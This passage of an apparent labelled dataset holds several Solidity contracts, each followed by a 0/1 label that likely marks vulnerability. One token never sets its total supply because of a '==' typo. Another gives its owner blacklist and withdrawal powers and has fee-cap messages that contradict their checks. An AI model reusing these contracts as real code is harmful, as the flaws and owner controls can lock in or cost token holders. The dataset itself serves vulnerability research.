op.transferFundAndEndGame(); } } else if (_gameResult == 2) { if (amount > opAmount) { lostAmount = amount.sub(opAmount).div(2); if (op.totalSupply() > 0) { feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else if (amount == opAmount) { op.transferFundAndEndGame(); } else { revert(); } } else if (_gameResult == 3) { op.transferFundAndEndGame(); } else { revert(); } endGameInternal(); if (totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } emit EndGame(address(this), _gameOpponent, _gameResult); } function endGameInternal() private { gameOpponent = address(0); gameTime = 0; status = 0; } function transferFundAndEndGame() payable public { require(gameOpponent != address(0) && gameOpponent == msg.sender); if (msg.value > 0 && totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } endGameInternal(); } }
0
428
pragma solidity ^0.4.17; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function transfer(address _to, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function balanceOf(address _owner) public constant returns (uint256); function allowance(address _owner, address _spender) public constant returns (uint256); uint256 public totalSupply; } contract StandardToken is ERC20 { using SafeMath for uint256; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowances[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowances[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; } function allowance(address _owner, address _spender) public constant returns (uint256) { return allowances[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowances; } contract Ownable { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } modifier onlyOwner() { require(msg.sender == owner); _; } address public owner; } contract PapyrusPrototypeToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount, uint256 priceUsd); event MintFinished(); event Burn(address indexed burner, uint256 amount); event TransferableChanged(bool transferable); function() public { revert(); } function transfer(address _to, uint256 _value) canTransfer public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) { return super.transferFrom(_from, _to, _value); } function mint(address _to, uint256 _amount, uint256 _priceUsd) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); if (_priceUsd != 0) { uint256 amountUsd = _amount.mul(_priceUsd).div(10**18); totalCollected = totalCollected.add(amountUsd); } Mint(_to, _amount, _priceUsd); Transfer(0x0, _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalBurned = totalBurned.add(_value); Burn(burner, _value); } function setTransferable(bool _transferable) onlyOwner public returns (bool) { require(transferable != _transferable); transferable = _transferable; TransferableChanged(transferable); return true; } modifier canMint() { require(!mintingFinished); _; } modifier canTransfer() { require(transferable || msg.sender == owner); _; } string public name = "Papyrus Prototype Token"; string public symbol = "PRP"; string public version = "H0.1"; uint8 public decimals = 18; bool public transferable = false; bool public mintingFinished = false; uint256 public totalBurned; uint256 public totalCollected; }
1
2,332
pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SAFUCT is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address payable public marketingAddress = payable(0xc88098bb4f7C1705107fcEfC8c2eA2d6701C18c4); mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private isBot; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "SAFU Community Token"; string private _symbol = "SAFU CT"; uint8 private _decimals = 9; uint256 public _sellFee; uint256 public _buyFee; uint256 public _taxFee; uint256 private _previousTaxFee = _taxFee; uint256 private _liquidityFee; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwap; bool tradingOpen = false; bool canBlacklist = true; uint256 private _maxHoldings = 2200001 * 10**9; bool public maxHoldingsEnabled = true; uint256 public numTokensSellToAddToLiquidity = 2000000 * 10**9; event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function initContract() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; } function oopenTrading() external onlyOwner() { _buyFee = 9; _sellFee = 18; _taxFee=1; tradingOpen = true; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from!= owner() && to!= owner()) { require(tradingOpen, "Trading not yet enabled."); require (!isBot[from] && !isBot[to], "Bot!"); } if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { if(maxHoldingsEnabled){ if(from == uniswapV2Pair && from != owner() && to != owner() && to != address(uniswapV2Router) && to != address(this)) { uint balance = balanceOf(to); require(balance.add(amount) <= _maxHoldings); } } _liquidityFee = _buyFee; } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwap && to == uniswapV2Pair ) { contractTokenBalance = numTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); _liquidityFee = _sellFee; } bool takeFee = false; if ( (from==uniswapV2Pair || to==uniswapV2Pair) && !(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ) { takeFee = true; } _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 halfOfLiquify = contractTokenBalance.div(10); uint256 otherHalfOfLiquify = contractTokenBalance.div(10); uint256 portionForFees = contractTokenBalance.sub(halfOfLiquify).sub(otherHalfOfLiquify); uint256 initialBalance = address(this).balance; swapTokensForEth(halfOfLiquify); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(otherHalfOfLiquify, newBalance); sendETHToFee(portionForFees); emit SwapAndLiquify(halfOfLiquify, newBalance, otherHalfOfLiquify); } function sendETHToFee(uint256 amount) private { swapTokensForEth(amount); marketingAddress.call{value: address(this).balance}(""); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { require (taxFee <= 1, "taxFee can't exceed 2%"); _taxFee = taxFee; } function setBuyFee(uint256 buyFee) external onlyOwner() { require (buyFee <= 9, "buy Fee can't exceed 2%"); _buyFee = buyFee; } function setSellFee(uint256 sellFee) external onlyOwner() { require (sellFee <= 9, "sell fee can't exceed 9%"); _sellFee = sellFee; } function setMarketingAddress(address _marketingAddress) external onlyOwner() { marketingAddress = payable(_marketingAddress); } function emergencyWithdraw() external onlyOwner { payable(owner()).transfer(address(this).balance); } function arrayBlacklist(address[] calldata bots) external onlyOwner() { require (canBlacklist == true, "can call this function only once"); uint256 iterator = 0; while(iterator < bots.length){ blacklist(bots[iterator]); iterator += 1; } canBlacklist = false; } function blacklist(address account) internal { if (account != uniswapV2Pair && account != owner() && account != address(this) && account!= address(uniswapV2Router)) { isBot[account] = true; } } function checkBot(address account) public view returns (bool) { return isBot[account]; } function removeBlacklist(address account) external onlyOwner { require (isBot[account], "Must be blacklisted"); isBot[account] = false; } function removeMaxHoldings() external onlyOwner() { maxHoldingsEnabled = false; } function setSwapThresholdAmount (uint256 amount) external onlyOwner { require (amount <= _tTotal.div(100), "can't exceed 1%"); numTokensSellToAddToLiquidity = amount * 10 ** 9; } receive() external payable {} }
1
2,717
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract IranCoinToken is StandardToken, Ownable { string public constant name = "Zarig"; string public constant symbol = "ICD"; uint8 public constant decimals = 18; uint256 public constant rewards = 8000000 * (10 ** uint256(decimals)); uint256 public constant INITIAL_SUPPLY = 17000000 * (10 ** uint256(decimals)); function IranCoinToken() public { totalSupply == INITIAL_SUPPLY.add(rewards); balances[msg.sender] = INITIAL_SUPPLY; } }
1
2,079
